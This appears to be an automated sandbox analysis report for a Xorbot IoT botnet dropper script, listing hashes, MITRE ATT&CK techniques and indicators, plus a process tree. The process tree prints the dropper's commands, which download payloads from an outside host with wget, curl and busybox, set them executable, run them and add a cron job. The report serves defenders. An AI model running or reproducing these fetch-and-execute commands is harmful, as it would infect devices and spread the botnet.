xorbot | 758212705619f4095ee19c6615fc0e047c935d53dbc8ded1063454a0f9145a67

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-02-2025 00:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

f1646987343a60668d4b5b6a8261daf3
SHA1

0d0e5d57b7a65644205c4d2deccb1b5c0b449cad
SHA256

758212705619f4095ee19c6615fc0e047c935d53dbc8ded1063454a0f9145a67
SHA512

5b2e4a195d7e3802dc787d76eeab47957d4e4d1a5b0aebac806218e55f3ef1bc63dbf197159f5d76d523d3deb0d655fc702eaf474ff85f9d505cb319005766e6
SSDEEP

192:O7Mo7OOdCSxdqDDL/q3jvglcw2g8UOUOUpUAUsLvfalJ6e0vfalJKyUOUOUpUAUO:O7Mo7OOdCSxdqDDL/qhg9vfalJ6e0vfX

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1469) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
755	chmod
765	chmod
747	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	748	bins.sh
/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O	756	bins.sh
/tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2	766	bins.sh

Renames itself 1 IoCs

pid	Process
767	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ozaU4p	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/152/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/274/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/636/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/919/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/938/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/963/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/1/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/14/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/792/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/804/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/873/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/987/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/278/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/827/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/840/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/841/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/865/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/937/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/964/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/968/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/826/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/857/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/905/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/784/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/811/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/835/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/837/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/913/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/970/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/980/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/797/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/29/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/902/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/950/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/810/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/42/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/149/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/845/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/908/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/940/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/2/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/24/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/308/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/761/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/822/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/829/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/112/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/883/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/976/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/982/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/28/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/276/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/638/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/788/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/871/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/824/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/916/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/943/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/985/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/26/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/844/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
File opened for reading	/proc/893/cmdline	YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
759	wget
762	curl
764	busybox
724	busybox
752	curl
776	wget
642	wget
681	curl
751	wget
754	busybox

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI	wget
File opened for modification	/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	wget
File opened for modification	/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S	curl
File opened for modification	/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O	wget
File opened for modification	/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O	curl
File opened for modification	/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O	busybox
File opened for modification	/tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2	wget
File opened for modification	/tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:638
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:640
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:642
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - System Network Configuration Discovery
  PID:724
- /bin/chmod
  chmod 777 AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  ./AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  PID:748
- /bin/rm
  rm AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S
  2⤵
  PID:750
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  ./AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  PID:756
- /bin/rm
  rm AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O
  2⤵
  PID:758
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod 777 YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  ./YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:766
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:768
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:769
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:770
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:771
- /bin/rm
  rm YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2
  2⤵
  PID:773
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/NnCIQeFaRoRxQw2F1RL4wdplWlsQl9c5aI

Filesize
33KB

MD5
fc4e869512a22b6e0c755fca22138344

SHA1
b0408d8641b548722523bcb137f9ebe1111ca2e2

SHA256
8fe773aaddc445d7f4126120144f61757ae26c412e29b5b76c251d7e6a91cb04

SHA512
6a712dfaea988d6bd0b9de1f68f8344dba21e9488059a4882a9c68cfc5dce84778689b878ed35d780762875045a5ed09cac1e7502ab0e0b802140f538ccb2adb

Download Submit
/tmp/YjLPXuhZtqYKO2529dh3tutb1uoaR9fDk2

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.ozaU4p

Filesize
210B

MD5
d7940af5e4f379e8bd95dc68c6d32983

SHA1
fbf3190a9ffc345839fd0d30ec5d8b8ee040a926

SHA256
5824fe2505f90a1b588f0a7eedc41c81c84b2beabfe1f97970b182ace3c700ab

SHA512
ff3d702217d1a8e18a4320a076685ac904fe610d5b4af00c5eb51e54139d27746ae7d31047563cfc4c9cdece34f6df7478b40cad405d9cfff3b848a68b1e5270

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads